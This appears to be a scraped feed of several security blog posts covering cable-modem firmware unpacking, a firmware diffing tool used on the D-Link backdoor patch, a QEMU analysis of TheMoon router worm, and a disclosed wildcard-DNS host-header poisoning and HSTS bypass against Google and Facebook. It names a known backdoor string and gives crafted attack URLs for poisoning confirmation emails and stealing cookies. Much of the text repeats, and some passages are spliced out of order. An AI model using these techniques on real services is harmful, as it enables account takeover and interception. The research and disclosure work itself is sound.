Hacking Cable modems used to be very popular during the early 2000’s. People like DerEngel and Isabella from TCNiSO carried lots of research on the topic and talks from bitemytaco (R.I.P) and BlakeSelf during DEFCON 16 and DEFCON 18 covered lots of information on the subject.
Securing cable modems is more difficult than other embedded devices because, on most cases, you can’t choose your own device/firmware and software updates are almost entirely controlled by your ISP. Most cable modems offer a limited administrative interface and management commands are sent using SNMP.
Cable Modem Firmware
There are basically three types of firmware images for cable modems:
- Signed and compresed (PKCS#7 & binary)
- Compressed binary images
- RAM dump images (uncompressed & raw)
You can dump your own firmware image using JTAG or sniffing the connection during upgrades, for example. I’m a big fan of binwalk and I always wondered why it doesn't unpack firmwares from popular Broadcom based cable modems so I decided to research on this.
Unpacking the Firmware
For this analysis I’ll use Cisco DPC3925, which is a very common DOCSIS 3.0 modem here in Brazil. Cisco DPC3925 has a BCM3380 chipset, 16MB Flash x 64MB DRAM memory configuration.
The compressed firmware image has around 4MB. Using strings against the file didn't help much and binwalk v1.2.1 (without any additional parameters) did not recognize it.
We can gather lots of useful information from the vendor’s page: user guides, datasheets, licensing information and open source disclaimer for the product. There are no sources available on Cisco's home, but the Copyright Notices section states that the product uses LZMA SDK 4.21.
So we know that the firmware is probably packed using LZMA but we still need to figure out how to unpack it. Binwalk -i displays results marked as invalid during the scan and we might get some clue:
The 64 bits following the header (00 20 20 0E 3A 28 AB EF) is clearly not a valid uncompressed size (2898643604054482944 bytes). It represents the actual compressed data, making binwalk and 7zr unable to extract it.
What we need to do here is append a few extra bytes to the header so our regular 7zr binary can recognize and extract the data. We don't know the uncompressed size for the firmware yet: the good news is that we can append and specify a big value here, allowing 7zr utility to unpack it (although complaining that the EOF was reached too early). Let's specify 268435456 bytes (256MB), convert it to little endian (00 00 00 10 00 00 00 00) and append it to the original LZMA header. The new header should be something like ... 5D 00 00 00 01 00 00 00 10 00 00 00 00 00 20 20 ...
I took the opportunity to have a look on binwalk's API and wrote a simple lzma-unpacker.py:
This code will be obsolete in a couple of days because I'm pretty sure Binwalk incorporate this (a plugin maybe?)
The data was extracted successfully and contains 21982740 bytes. If we replace the uncompressed size on the LZMA header with the correct value in Little Endian (14 6E 4F 01 00 00 00 00), the 7zr tool would not complain about the file integrity.
Most Broadcom cable modems are packed this way, including the ones manufactured by different vendors. The script was fully tested and works fine for the following models:
- Cisco DPC3925, DPC2434
- Motorola SB5100, SB5101, SVG6582, SVG1202
- Thomson ACG905, DCM425, DHG534, DHG544, DWG850, DWG874
- Webstar DPC2203
Firmware Analysis
Now that you successfully unpacked the firmware, here's a couple of cool things you should do:
- Find default passwords
- Find backdoors
- Pentest the Web Application
- Fingerprint your device and submit to NMAP
- Find similar devices using scans.io dataset
- Mail HD Moore a copy of the firmware and wait for the CVE Spam
Securing cable modems is more difficult than other embedded devices because, on most cases, you can’t choose your own device/firmware and software updates are almost entirely controlled by your ISP. Most cable modems offer a limited administrative interface and management commands are sent using SNMP.
Cable Modem Firmware
There are basically three types of firmware images for cable modems:
- Signed and compresed (PKCS#7 & binary)
- Compressed binary images
- RAM dump images (uncompressed & raw)
You can dump your own firmware image using JTAG or sniffing the connection during upgrades, for example. I’m a big fan of binwalk and I always wondered why it doesn't unpack firmwares from popular Broadcom based cable modems so I decided to research on this.
Unpacking the Firmware
For this analysis I’ll use Cisco DPC3925, which is a very common DOCSIS 3.0 modem here in Brazil. Cisco DPC3925 has a BCM3380 chipset, 16MB Flash x 64MB DRAM memory configuration.
The compressed firmware image has around 4MB. Using strings against the file didn't help much and binwalk v1.2.1 (without any additional parameters) did not recognize it.
We can gather lots of useful information from the vendor’s page: user guides, datasheets, licensing information and open source disclaimer for the product. There are no sources available on Cisco's home, but the Copyright Notices section states that the product uses LZMA SDK 4.21.
So we know that the firmware is probably packed using LZMA but we still need to figure out how to unpack it. Binwalk -i displays results marked as invalid during the scan and we might get some clue:
The LZMA header is not well documented. There are some good resources on lzma-purejs Github and you can also check binwalk's magic file signatures (devttys0 already did all the hard work for us).
The Bootloader in the beggining of the flash contains the necessary information to boot the firmware image. On the top of the firmware there's always an extractor which decompress the firmware into DRAM.
Offset 0x677 is a good candidate because it's located in the beginning of the file and it seems to have a valid header. 5D 00 00 00 01 indicates a LZMA compression level of -8 and the next 64 bits should be the data's uncompressed size (in little endian).
Offset Size Description
0 1 lc, lp and pb in encoded form
1 4 dictSize (little endian)
5 8 uncompressed size (little endian)
0 1 lc, lp and pb in encoded form
1 4 dictSize (little endian)
5 8 uncompressed size (little endian)
Offset 0x677 is a good candidate because it's located in the beginning of the file and it seems to have a valid header. 5D 00 00 00 01 indicates a LZMA compression level of -8 and the next 64 bits should be the data's uncompressed size (in little endian).
What we need to do here is append a few extra bytes to the header so our regular 7zr binary can recognize and extract the data. We don't know the uncompressed size for the firmware yet: the good news is that we can append and specify a big value here, allowing 7zr utility to unpack it (although complaining that the EOF was reached too early). Let's specify 268435456 bytes (256MB), convert it to little endian (00 00 00 10 00 00 00 00) and append it to the original LZMA header. The new header should be something like ... 5D 00 00 00 01 00 00 00 10 00 00 00 00 00 20 20 ...
I took the opportunity to have a look on binwalk's API and wrote a simple lzma-unpacker.py:
This code will be obsolete in a couple of days because I'm pretty sure Binwalk incorporate this (a plugin maybe?)
The data was extracted successfully and contains 21982740 bytes. If we replace the uncompressed size on the LZMA header with the correct value in Little Endian (14 6E 4F 01 00 00 00 00), the 7zr tool would not complain about the file integrity.
Most Broadcom cable modems are packed this way, including the ones manufactured by different vendors. The script was fully tested and works fine for the following models:
- Cisco DPC3925, DPC2434
- Motorola SB5100, SB5101, SVG6582, SVG1202
- Thomson ACG905, DCM425, DHG534, DHG544, DWG850, DWG874
- Webstar DPC2203
Firmware Analysis
Now that you successfully unpacked the firmware, here's a couple of cool things you should do:
- Find default passwords
- Find backdoors
- Pentest the Web Application
- Fingerprint your device and submit to NMAP
- Find similar devices using scans.io dataset
- Mail HD Moore a copy of the firmware and wait for the CVE Spam
↧
Binwally: Directory tree diff tool using Fuzzy Hashing
For this post, I'll discuss about the concept of directory tree and binary diffing and how it could be used to find potential vulnerabilities and security issues that were (silently) patched on firmware images.
Silent patching is a big deal as we don't have many security researchers like Spender around. This is a common practice among companies that create software and firmwares for embedded devices. Changelogs from new firmwares often contains few information about security issues, outlining the changes as "bugfixes" or "enhancements": we get no CVE's and we don't know how critical the flaws are.
In addition to that, you may occasionally find some reference for the string 'Ac1db1tch3z' on your code (which means that you got a free vulnerability assessment) or your employee Joel might forget to remove a backdoor from the firmware. Diffing the content from previous firmwares may be useful to find out when these backdoors were first installed, modified and/or removed.
I introduce you to Binwally: a simple script to perform directory tree diffing using the concept of Fuzzy Hashing (ssdeep) to define a matching score between binaries.
Fuzzy Hashing
Fuzzy Hashing, also know as context triggered piecewise hashes (CTPH), can match inputs that have homologies. Such inputs have sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length. The concept was introduced by Andrew Tridgell and the most well-known tool is ssdeep, created by Jesse Kornblum.
The usage example outlined on ssdeep's homepage summarizes it well:
A cryptographic hashing algorithm like MD5 can't be used to match these files; they have wildly different hashes.
But fuzzy hashing can! We compute the fuzzy hash of one file and use the matching mode to match the other one.
The number at the end of the line is a match score, or a weighted measure of how similar these files are. The higher the number, the more similar the files.
Binwally
Binwally is a simple Python script that uses this concept to diff directory trees in order to find different, unique and matching files, displaying an overall score of the results. It was based on diffall.py from the book Programming Python (4th Edition) and it requires python-ssdeep, a wrapper for ssdeep (which is coded in C). You can download the script from my Github, following the link below:
The code is pretty straightforward, it takes two dirs/files as arguments and displays which files are unique, the ones that matches and the ones that differs and their match score. It still needs some improvement (the matching score is based on the number of files and don't consider the filesizes for example) but it works fine for what it purposes to accomplish.
Comparing two directory trees from a firmware unsquased using Binwalk and firmware-mod-kit:
You can already achieve this using Winmerge, but the tool does not display a matching score, it's not command line based and not scriptable. You can check my previous post describing how to use it to differ firmware images.
Binwally is best used with Binwalk, that's why I'll talk to devttys0 to merge it with his tool (maybe a new command line switch under the Binary Diffing options). Binwalk already supports binary diffing (-H switch), but it will just compare files and firmware images. The problem is that firmware images are usually packed, encrypted and/or compressed. When you unpack and compare the extracted files and their directory tree, you have much more valuable information. If you disassemble the code and compare the results again, you get even better data - this is what bindiff from Zynamics/Google does pretty well. The Insinuator blog has a nice example on how to use bindiff for RE.
Binwally Usage: Dissecting DLink Backdoor Patch
So you may have heard recently that some DLink routers had a backdoor and that a security update was issued to address the vulnerability.
According to Bruce Schneier, we should "Trust but verify": that's what we are going to do here. First let's download the backdoored version (v1.13) and the patched version (1.14) from DLink's FTP. Next step is to extract the firmware images (binwalk -e DIR100A1_FW114WWB02.bix DIR100_v5.0.0EUb3_patch02.bix) and compare the directory trees using Binwally:
I removed the matching files and symlinks for better reading, but the analysis is now narrowed to a small set of files. According to the release notes, a minor PPoE dial up issue was also fixed, that may be the reason why "/bin/pppd" had differences.
Some files like the "/www/Home/bsc_lan.htm" have a matching score of 100 even though they have different content and MD5, for example. This is due to the nature of Fuzzy Hashing, as the small modification was not enough to change the fuzzy hash value. It's important to note that files with a "match" result do actually have the same content and also have a matching score of 100.
There's a new Shell script on the patched 1.14 firmware, located at "/etc/wdhttp.sh". It seems that Joel "do not know how to write sash loop command ugly code":
Busybox was another binary that had a different pattern. Running them using QEMU shows that they still have the same version (v1.0.0-pre2) and different compile dates (2011.09.15 and 2013.10.31).
According to the analysis from devttys0, the binary "/bin/webs" had the backdoor function (if you did not read his analysis yet, read it here). Binwally returned a match score of 0 because it was unable to find similar patterns. The binaries have different sizes and were probably compiled using different toolchains, containing different offsets, as displayed on the diff from Winmerge:
Binwalk from v1.3.0 beta on now displays 3D binary data visualization, so let's have a look on how they differ in a 3D plane:
This is time to use an approach other than byte comparison and fuzzy hashing. Bindiff uses graph-theoretical approach to compare executables by identifying identical and similar functions. We first need to analyze both files using IDA to create the needed IDB files. After inputting both files on bindiff, we notice a high level of similarity on the Call Graphs:
Let's focus on the previously backdoored function "alpha_auth_check":
We can easily spot the difference displaying the flow graph:
Zooming in (courtesy of NSA):
It seems that Joel's "xmlset_roodkcableoj28840ybtide" is gone, say hello to "iNteLalsEtvaLuewitHoutnAme". And yes, it seems that Joel (and the binaries that can re-configure the device's settings) can only access the device from 127.0.0.1 now =)
Conclusion
Binary and directory tree diffing is a powerful tool for reverse engineering and to find potential compromise of a system as long as you have a "known template". In the context of Embedded Systems, it reveals modified files, settings and directories, narrowing the analysis to a small set of data when analyzing different firmware images.
To all the vendors out there it's important to be transparent on what's being fixed, alerting the end-users about how critical the issues are. And please, leave the backdooring job to the guys who "read the constitution" and are paid for that, OK?
Silent patching is a big deal as we don't have many security researchers like Spender around. This is a common practice among companies that create software and firmwares for embedded devices. Changelogs from new firmwares often contains few information about security issues, outlining the changes as "bugfixes" or "enhancements": we get no CVE's and we don't know how critical the flaws are.
In addition to that, you may occasionally find some reference for the string 'Ac1db1tch3z' on your code (which means that you got a free vulnerability assessment) or your employee Joel might forget to remove a backdoor from the firmware. Diffing the content from previous firmwares may be useful to find out when these backdoors were first installed, modified and/or removed.
I introduce you to Binwally: a simple script to perform directory tree diffing using the concept of Fuzzy Hashing (ssdeep) to define a matching score between binaries.
![]() |
Binwally says "no" to Silent Patching |
Fuzzy Hashing
Fuzzy Hashing, also know as context triggered piecewise hashes (CTPH), can match inputs that have homologies. Such inputs have sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length. The concept was introduced by Andrew Tridgell and the most well-known tool is ssdeep, created by Jesse Kornblum.
The usage example outlined on ssdeep's homepage summarizes it well:
$ ls -l foo.txt
-rw-r--r-- 1 jessekor jessekor 240 Oct 25 08:01 foo.txt
-rw-r--r-- 1 jessekor jessekor 240 Oct 25 08:01 foo.txt
$ cp foo.txt bar.txt
$ echo 1 >> bar.txt
$ echo 1 >> bar.txt
A cryptographic hashing algorithm like MD5 can't be used to match these files; they have wildly different hashes.
$ md5deep foo.txt bar.txt
7b3e9e08ecc391f2da684dd784c5af7c /Users/jessekornblum/foo.txt
32436c952f0f4c53bea1dc955a081de4 /Users/jessekornblum/bar.txt
7b3e9e08ecc391f2da684dd784c5af7c /Users/jessekornblum/foo.txt
32436c952f0f4c53bea1dc955a081de4 /Users/jessekornblum/bar.txt
But fuzzy hashing can! We compute the fuzzy hash of one file and use the matching mode to match the other one.
$ ssdeep -b foo.txt > hashes.txt
$ ssdeep -bm hashes.txt bar.txt
bar.txt matches foo.txt (64)
$ ssdeep -bm hashes.txt bar.txt
bar.txt matches foo.txt (64)
The number at the end of the line is a match score, or a weighted measure of how similar these files are. The higher the number, the more similar the files.
Binwally is a simple Python script that uses this concept to diff directory trees in order to find different, unique and matching files, displaying an overall score of the results. It was based on diffall.py from the book Programming Python (4th Edition) and it requires python-ssdeep, a wrapper for ssdeep (which is coded in C). You can download the script from my Github, following the link below:
The code is pretty straightforward, it takes two dirs/files as arguments and displays which files are unique, the ones that matches and the ones that differs and their match score. It still needs some improvement (the matching score is based on the number of files and don't consider the filesizes for example) but it works fine for what it purposes to accomplish.
Comparing two directory trees from a firmware unsquased using Binwalk and firmware-mod-kit:
You can already achieve this using Winmerge, but the tool does not display a matching score, it's not command line based and not scriptable. You can check my previous post describing how to use it to differ firmware images.
Binwally is best used with Binwalk, that's why I'll talk to devttys0 to merge it with his tool (maybe a new command line switch under the Binary Diffing options). Binwalk already supports binary diffing (-H switch), but it will just compare files and firmware images. The problem is that firmware images are usually packed, encrypted and/or compressed. When you unpack and compare the extracted files and their directory tree, you have much more valuable information. If you disassemble the code and compare the results again, you get even better data - this is what bindiff from Zynamics/Google does pretty well. The Insinuator blog has a nice example on how to use bindiff for RE.
Binwally Usage: Dissecting DLink Backdoor Patch
So you may have heard recently that some DLink routers had a backdoor and that a security update was issued to address the vulnerability.
According to Bruce Schneier, we should "Trust but verify": that's what we are going to do here. First let's download the backdoored version (v1.13) and the patched version (1.14) from DLink's FTP. Next step is to extract the firmware images (binwalk -e DIR100A1_FW114WWB02.bix DIR100_v5.0.0EUb3_patch02.bix) and compare the directory trees using Binwally:
$ python binwally.py _DIR100_v5.0.0EUb3_patch02.bix.extracted/ _DIR100A1_FW114WWB02.bix.extracted/
I removed the matching files and symlinks for better reading, but the analysis is now narrowed to a small set of files. According to the release notes, a minor PPoE dial up issue was also fixed, that may be the reason why "/bin/pppd" had differences.
Some files like the "/www/Home/bsc_lan.htm" have a matching score of 100 even though they have different content and MD5, for example. This is due to the nature of Fuzzy Hashing, as the small modification was not enough to change the fuzzy hash value. It's important to note that files with a "match" result do actually have the same content and also have a matching score of 100.
There's a new Shell script on the patched 1.14 firmware, located at "/etc/wdhttp.sh". It seems that Joel "do not know how to write sash loop command ugly code":
Busybox was another binary that had a different pattern. Running them using QEMU shows that they still have the same version (v1.0.0-pre2) and different compile dates (2011.09.15 and 2013.10.31).
According to the analysis from devttys0, the binary "/bin/webs" had the backdoor function (if you did not read his analysis yet, read it here). Binwally returned a match score of 0 because it was unable to find similar patterns. The binaries have different sizes and were probably compiled using different toolchains, containing different offsets, as displayed on the diff from Winmerge:
Binwalk from v1.3.0 beta on now displays 3D binary data visualization, so let's have a look on how they differ in a 3D plane:
This is time to use an approach other than byte comparison and fuzzy hashing. Bindiff uses graph-theoretical approach to compare executables by identifying identical and similar functions. We first need to analyze both files using IDA to create the needed IDB files. After inputting both files on bindiff, we notice a high level of similarity on the Call Graphs:
Let's focus on the previously backdoored function "alpha_auth_check":
We can easily spot the difference displaying the flow graph:
Zooming in (courtesy of NSA):
It seems that Joel's "xmlset_roodkcableoj28840ybtide" is gone, say hello to "iNteLalsEtvaLuewitHoutnAme". And yes, it seems that Joel (and the binaries that can re-configure the device's settings) can only access the device from 127.0.0.1 now =)
Conclusion
Binary and directory tree diffing is a powerful tool for reverse engineering and to find potential compromise of a system as long as you have a "known template". In the context of Embedded Systems, it reveals modified files, settings and directories, narrowing the analysis to a small set of data when analyzing different firmware images.
To all the vendors out there it's important to be transparent on what's being fixed, alerting the end-users about how critical the issues are. And please, leave the backdooring job to the guys who "read the constitution" and are paid for that, OK?
↧
↧
Analyzing Malware for Embedded Devices: TheMoon Worm
All the media outlets are reporting that Embedded Malware is becoming mainstream. This is something totally new and we never heard of this before, right? The high number of Linux SOHO routers with Internet-facing administrative interfaces, the lack of firmware updates and the ease to craft exploits make them a perfect target for online criminals. The Internet of Threats is wildly insecure, but definitely not unpatchable.
To all infosec people out there, it's important to understand these threats and report it properly to the media. Some top-notch researchers recently uncovered "Massive Botnets" infecting refrigerators, microwaves, gaming consoles, soda machines and tamagotchis. The problem is that they never provided any sort of evidence, no malware samples, no IOC's and did not write a Hakin9 article describing it.
![]() |
Refrigerator Botnet? Revd. Pastor Laphroaig says Show the PoC || GTFO |
The aim for this post is to provide more information to identify/execute embedded binaries, describing how to set your own virtual lab. In case you missed it, head to the first post from the "Analyzing and Running binaries from Firmware Images" series.
TheMoon Worm
Johannes from SANS provided me a sample from "TheMoon" malware and posted some interesting information on their handler's diary. Their honeypots captured the scanning activity and linked the exploit to a vulnerable CGI script running on specific firmwares from the following Linksys routers: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000,E900.
SANS handlers classified TheMoon as a Worm because of the self-replicating nature of the malware. The worm searches for a "HNAP1" URL to fingerprint and identify potentially vulnerable routers. If you check your FW and Server logs you may find lot's of different IP's probing this URL.
The worm was named like this because it contains images from the movie "The Moon". It's possible to carve a few PNG's inside the ELF binary:
SANS handlers classified TheMoon as a Worm because of the self-replicating nature of the malware. The worm searches for a "HNAP1" URL to fingerprint and identify potentially vulnerable routers. If you check your FW and Server logs you may find lot's of different IP's probing this URL.
The worm was named like this because it contains images from the movie "The Moon". It's possible to carve a few PNG's inside the ELF binary:
Identifying the Binary
A total of seven different samples were provided: they all seem to be variants from the same malware due to the ssdeep matching score.
Let's start by running the file utility and readelf to identify the architecture (MIPS R3000 / Little Endian):
The EXr.pdf variant (MD5 88a5c5f9c5de5ba612ec96682d61c7bb) had a VirusTotal Detection Rate of 3 / 50 on 2014-02-16.
QEMU
QEMU
We'll be using QEMU to run the binaries on a controlled environment. I commonly use two different setups to run MIPS Linux binaries, both based on the Malta platform.
OpenWRT MIPS
OpenWRT Malta CoreLV platform is intended to be used with QEMU (in big or little endian mode). The install procedure is pretty straightforward using OpenWRT Buildroot. OpenWrt Buildroot is the buildsystem for the distribution and it works on Linux, BSD or MacOSX. In case you didn't remember, authors from Carna Botnet used it to cross-compile its binaries.
Installing prerequisites (on your favorite Debian Derivative):
Now head to the openwrt folder and set the proper settings for your Linux Kernel, choosing "MIPS Malta CoreLV board (qemu)" for the Target System and "Little Endian" for the subtarget. Don't forget to save the config.
Now build your image (use the -j switch to speed up if you have multiple cores, e.g "-j 3"):
Your image will be ready after a couple of minutes. Now you need to install QEMU full system emulation binaries and start it with the right command switches:
To exit the console simply hit CTRL+A followed by C and Q.
If you want to connect your emulated machined to a real network, follow the steps from Aurelien's Blog or simply run the following commands to get Internet access:
If you don't want to compile the Kernel by yourself, you can grab the pre-compiled binaries from here or here (at your own risk).
You may remember that it was not possible to run busybox-simet using the standalone qemu-mips-static. It's possible to fix that by manually patching QEMU or you can run it inside the proper virtual machine (OpenWRT Malta MIPS/Big Endian):
If you want to connect your emulated machined to a real network, follow the steps from Aurelien's Blog or simply run the following commands to get Internet access:
If you don't want to compile the Kernel by yourself, you can grab the pre-compiled binaries from here or here (at your own risk).
You may remember that it was not possible to run busybox-simet using the standalone qemu-mips-static. It's possible to fix that by manually patching QEMU or you can run it inside the proper virtual machine (OpenWRT Malta MIPS/Big Endian):
Debian MIPS Linux
I won't describe how to set up your Debian MIPS Linux because Zach Cutlip already did an amazing job describing it on this blog post. The process is quite similar to the OpenWRT one and if you're too lazy to build your own environment, Aurelien provides pre-compiled binaries here. Don't forget to set you network connections properly
Dynamic Analysis
In order to emulate the Linksys Environment, let's download and unpack the Firmware from E2500v2 (v1.0.07).
Let's copy and extract the root filesystem (e2500.tar.gz) and the malicious binary (EXr.pdf) to our test machine (Debian MIPS). Remember to copy the worm to the appropriate "/tmp" folder. Backup your QEMU image, start sniffing the connections from the bridged network (tap1 on my case) and bind the necessary pseudo-devices to the chrooted path. You can run the binary directly on your Debian MIPS environment, but using chroot and the target filesystem is highly recommended. If you try to chroot and run the worm without linking these devices, it will refuse to run and it won't drop the second stage binary.
You can use strace to log the syscalls and start your chrooted shell to run the malicious binary. I had some issues using strace on the 2.6.32 Debian MIPS Kernel (vmlinux-2.6.32-5-4kc-malta). The 3.2.0 (vmlinux-3.2.0-4-4kc-malta) version seems to be running fine.
If you don't want to use strace, simply start sh chrooted and run the malware:
The worm tries to remove files containing certain extensions and perform a series of system checks. After a few seconds the binary is removed from /tmp/ and three files are written on the disk: .L26 (PID), .L26.lunar (Lunar Base URL) and .L26.out (Debug log).
The 256MB raw dump will be saved on your host's local path. You can now try to use volatility or run strings against it.
The worm starts scanning for ports 80 and 8080 on a hardcoded list of networks. If the /HNAP/ URL returns a string identifying the targeted routers, the malware sends a HTTP POST trying to exploit a command injection on the vulnerable CGI.
Decoded POST:
TheMoon will also start an HTTPS server ("Lunar Base") on the router using the random port identified on the .L26.lunar file. The certificate's Common Name, Organization and Organizational Unit are hardcoded and other values seem to be random. Trying to find these entries on scans.io SSL certificates datasets would be really interesting.
The HTTPS server hosts three files: gerty.png, lunar.png and favicon.ico:
Rkhunter reports a few warnings on the infected system. I have upload the complete output from rkhunter to Pastebin, get it here.
Another useful technique is to compare the contents from the filesystem with a known good template. You can use binwally, WinMerge or binwalk's hashmatch.
Conclusion
I did not spend much time reversing the files and its functions as the main purpose of this post was to provide information to identify and execute embedded binaries, describing how to set your own virtual lab using QEMU.
It's still possible to improve the analysis by faking the nvram, by running a GDB server with QEMU or using Volatility with the proper profile and debugging structures, but this post is already way too long. You should also have a look on Avatar, from EURECOM. Avatar's goal is to enable complex dynamic analysis of embedded firmware in order to assist in a wide range of security-related activities, including malware analysis, reverse engineering and vulnerability discovery.
Let's keep drawing public awareness on the security issues of the Internet of Threats, persuading manufactures, ISP's and final users to collaborate to address these problems.
↧
Wildcard DNS, Content Poisoning, XSS and Certificate Pinning
Hi everyone, this time I'm going o talk about an interesting vulnerability that I reported to Google and Facebook a couple of months ago. I had some spare time last October and I started testing for vulnerabilities on a few companies with established bug bounty programs. Google awarded me with $5000,00 and Facebook payed me $500,00 for reporting the bugs.
I know you may be more interested on highly sophisticated exploits that allow arbitrary file upload to the Internet, with custom payloads that may lead to unexpected behavior like closing Security Lists. Hopefully this class of bugs is already patched by Fyodor and Attrition is offering an efficient exploit mitigation technique.
The title may be a little confusing, but I'm going to show that it's possible to combine all these techniques to exploit vulnerable systems.
Content Poisoning and Wildcard DNS
Host header poisoning occurs when the application doesn't validate full URL's generated from the HTTP Host header, including the domain name. Recently, the Django Framework fixed a few vulnerabilities related to that and James Kettle made an interesting post discussing lots of attack scenarios using host header attacks.
While testing this issue, I found a different kind of Host header attack that abuses the possibility to browse wildcard domains. Let's have a quick look at the Wikipedia entry on Hostnames:
Take, for example, the following URL: https://www.example.com.-.www.sites.google.com. If we compose an e-mail and paste it on the body, GMail will split them and the received message will have two “clickable” parts (https://www.example.com and sites.google.com).
Most e-mail based notification use the very same host you are browsing in order to compose the notification messages: you see where this is going, right?
Facebook has a wildcard DNS entry at zero.facebook.com. In order to exploit the flaw, we have to browse the service using a poisoned URL and perform actions that may need e-mail confirmation, checking whether Facebook mails the crafted URL to the user.
The only vulnerable endpoint that I found affected by this issue was the registration e-mail confirmation. You may be asking, how could one exploit this to attack a legitimate user?
Suppose I want to attack the Facebook account from goodguy@example.com. I can create or associate a "duplicate" account using the "+" sign by browsing Facebook with these injected URL's. If I navigate to Facebook using an URL like https://www.example.com.-.zero.facebook.com, all I have to do is create the duplicate account goodguy+DUPLICATE@example.com. Most e-mail services like GMail and Hotmail don't consider what you type after the "+" and forward it to the original account.
In this case, all e-mails that Facebook sent to confirm that association had the poisoned links.
This can also be used to poison password reset emails, but Facebook forms were not affected. They quickly fixed that by hard coding the proper URL to their e-mail confirmation system. It's also possible (but not recommended) to fix these issues by sending notifications with relative links instead of complete URL's ("please click here" instead of "please click on the specified url: www.example.com.-.zero.facebook.com").
XSS and Wildcard DNS
While searching for these issues on Google I quickly found wildcard domains like:
- https://w00t.drive.google.com
- https://w00t.script.google.com
- https://w00t.sites.google.com
In case you're wondering how to quickly find these wildcard domains, you can download and lookup for them on the scans.io datasets. You can find these references on the Reverse DNS records or by searching for SSL certificates issued to wildcard domains, like *.sites.google.com.
During my initial tests, I was unable to craft URL's using .-. inside the drive.google.com domain (got 500 error messages) and all I could do was creating URL’s like this: https://www.example.com-----www.drive.google.com.
When you browse Google Drive using this URL, upload a File to a Folder and try to Zip/Download it asking for an e-mail confirmation (“Email when ready”), the e-mail confirmation message will be like this:
The "ready for downloading" link would point to https://www.example.com-----www.drive.google.com/export-result?archiveId=REDACTED. So far no big deal, I was still unable to poison the links... And phishing yourself is not that useful =)
I kept testing different URL's until I found a weird behavior on Google DNS Servers. When typing URL's containing a domain you control followed by a certain number of "-" and the wildcard domain from Google, the resolved IP would be the one from the URL you control.
For some reason, there was a glitch on their DNS servers, more specifically in the regexp that stripped "--" from the domain prefixes. I'm not sure why they performed these checks but that may have something to do with Internationalized Domain Names.
Some Google domains affected by this issue (October 2013):
- docs.google.com
- docs.sandbox.google.com
- drive.google.com
- drive.sandbox.google.com
- glass.ext.google.com
- prom-qa.sandbox.google.com
- prom-test.sandbox.google.com
- sandbox.google.com
- script.google.com
- script.sandbox.google.com
- sites.google.com
- sites.sandbox.google.com
Requests goes to the user-controlled site, in this case my own server running nginx:
This leverages to a XSS-like attack: you have now bypassed the same origin and you can steal cookies and run scripts on the context of the site, for example.
Certificate Pinning and Wildcard DNS
So far so good, but what if we were performing the same tests on Google Chrome, which enforces Certificate Pinning for their domains? I didn't notice at first, but I accidentally found an issue on Chrome too: it was failing to perform the proper HSTS checks for these non-RFC compliant domains.
Other parts of the network stack were processing and fetching results from these "invalid" DNS names, but TransportSecurityState was rejecting them and therefore HSTS policies didn't apply. They simply removed the sanity checks to make TransportSecurityState more promiscuous in what it process.
You can easily reproduce this on Chrome prior to v31: proxy Chrome through OWASP ZAP (accepting its certificate), visit URL’s like https://sites.google.com and Chrome will display a “heightened security” error message. If you type URL’s like https://www-.sites.google.com or https://www-.plus.google.com Chrome offers the option to “Proceed anyway”. If you're in Turkey right now you don't need to do nothing, the Turkish Telecom does all the MITM job for you.
It's worth mentioning that when you issue a wildcard certificate for your host, it will be valid for a single level only. Certificates issued to *.google.com should not be trusted when used on domains like abc.def.google.com.
The hardcoded list of domains and pinned certificates from Chrome can be found here:
- https://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json
During my analysis, I found that 55 out of 397 domains with Transport Security enabled had wildcard entries on their DNS. A nation sponsored attacker, with a valid and trusted CA could simply MITM your traffic and inject requests to these invalid domains, circumventing the HSTS policies and stealing session cookies, for example.
Google did not assign a CVE for that bug, but they fixed that within a couple of weeks. Chrome 32 and 33+ (the one that changed the SSL warning from red to yellow) are not affected by this issue.
In times of Goto fails, it was really interesting to follow the Chromium's tracker, their internal discussions, tests performed and so on. The commits fixing these issues can be found here.
Conclusion
Google and Facebook security teams were both great to deal with. The bug was quite fun as well because it was different from the traditional OWASP Top 10 issues.
And because the industry totally needs new Vulnerability terminologies, anyone willing to refer to these attacks shall name them Advanced Persistent Cross Site Wildcard Domain Header Poisoning (or simply APCSWDHP).
In case you're from NSA and want to use this technique to implant our DNS's, please use the codename CRAZY KOALA so we could better track them when the next Snowden leaks your documents.
I know you may be more interested on highly sophisticated exploits that allow arbitrary file upload to the Internet, with custom payloads that may lead to unexpected behavior like closing Security Lists. Hopefully this class of bugs is already patched by Fyodor and Attrition is offering an efficient exploit mitigation technique.
The title may be a little confusing, but I'm going to show that it's possible to combine all these techniques to exploit vulnerable systems.
Content Poisoning and Wildcard DNS
Host header poisoning occurs when the application doesn't validate full URL's generated from the HTTP Host header, including the domain name. Recently, the Django Framework fixed a few vulnerabilities related to that and James Kettle made an interesting post discussing lots of attack scenarios using host header attacks.
While testing this issue, I found a different kind of Host header attack that abuses the possibility to browse wildcard domains. Let's have a quick look at the Wikipedia entry on Hostnames:
The fun part here is that the network stack from Windows, Linux and Mac OS X consider domains like -www.plus.google.com, www-.plus.google.com and www.-.plus.google.com valid. It's interesting to note that Android won't resolve these domains for some reason."The Internet standards (Request for Comments) for protocols mandate that component hostname labels may contain only the ASCII letters 'a' through 'z' (in a case-insensitive manner), the digits '0' through '9', and the hyphen ('-'). The original specification of hostnames in RFC 952, mandated that labels could not start with a digit or with a hyphen, and must not end with a hyphen. However, a subsequent specification (RFC 1123) permitted hostname labels to start with digits. No other symbols, punctuation characters, or white space are permitted."
Take, for example, the following URL: https://www.example.com.-.www.sites.google.com. If we compose an e-mail and paste it on the body, GMail will split them and the received message will have two “clickable” parts (https://www.example.com and sites.google.com).
Most e-mail based notification use the very same host you are browsing in order to compose the notification messages: you see where this is going, right?
Facebook has a wildcard DNS entry at zero.facebook.com. In order to exploit the flaw, we have to browse the service using a poisoned URL and perform actions that may need e-mail confirmation, checking whether Facebook mails the crafted URL to the user.
The only vulnerable endpoint that I found affected by this issue was the registration e-mail confirmation. You may be asking, how could one exploit this to attack a legitimate user?
Suppose I want to attack the Facebook account from goodguy@example.com. I can create or associate a "duplicate" account using the "+" sign by browsing Facebook with these injected URL's. If I navigate to Facebook using an URL like https://www.example.com.-.zero.facebook.com, all I have to do is create the duplicate account goodguy+DUPLICATE@example.com. Most e-mail services like GMail and Hotmail don't consider what you type after the "+" and forward it to the original account.
In this case, all e-mails that Facebook sent to confirm that association had the poisoned links.
